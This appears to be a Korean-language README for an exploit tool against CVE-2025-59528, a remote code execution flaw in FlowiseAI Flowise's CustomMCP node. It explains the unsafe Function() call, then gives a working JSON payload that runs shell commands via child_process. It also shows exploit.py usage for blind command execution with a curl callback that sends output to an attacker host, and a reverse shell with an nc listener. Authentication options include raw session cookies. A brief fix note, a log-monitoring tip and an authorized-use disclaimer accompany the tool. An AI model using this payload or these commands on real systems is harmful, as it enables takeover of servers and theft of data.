
CVE-2025-59528 - FlowiseAI CustomMCP 원격 코드 실행
CVSS 10.0 (치명적) | 블라인드 RCE | FlowiseAI Flowise >= 2.2.7-patch.1 및 < 3.0.6
CustomMCP 노드에서 발견된 FlowiseAI Flowise의 치명적인 원격 코드 실행 취약점입니다. convertToValidJSONString 함수는 mcpServerConfig 매개변수의 사용자 입력을 JavaScript의 Function() 생성자에 직접 전달합니다. 이는 eval()과 기능적으로 동일하며, 전체 Node.js 런타임 권한으로 임의의 JavaScript 코드 실행을 허용합니다.
Function()을 JSON5.parse()로 대체)packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, 262–270행:
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← arbitrary code execution
}
전파 흐름:
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ service layer
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
이는 블라인드 RCE로, 명령 출력이 HTTP 응답에 반영되지 않습니다. 콜백 기술(curl/wget) 또는 리버스 셸을 사용하여 실행을 확인하세요.
| 조건 | 세부 사항 |
|---|---|
| Flowise 버전 | >= 2.2.7-patch.1, < 3.0.6 |
| 네트워크 접근 | 포트 3000의 API 엔드포인트 (기본값) |
| 인증 | 3.0.1 미만에서는 선택 사항, 3.0.1 이상에서는 필수 |
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
pip install requests
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Exfiltrate output via callback
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email [email protected] --password pass
# Start listener
nc -lvnp 4444
# Fire exploit (auto-tries bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ATTACKER_IP --lport 4444 \
--email [email protected] --password pass
# JWT auth (Flowise >= 3.0.1)
--email [email protected] --password pass
# Basic auth (Flowise < 3.0.1 with FLOWISE_USERNAME env)
--username admin --password pass
# Raw cookie string (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
/api/v1/node-load-method/customMCP에 대한 POST 요청 로그 모니터링이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 항상 적절한 승인을 받으십시오.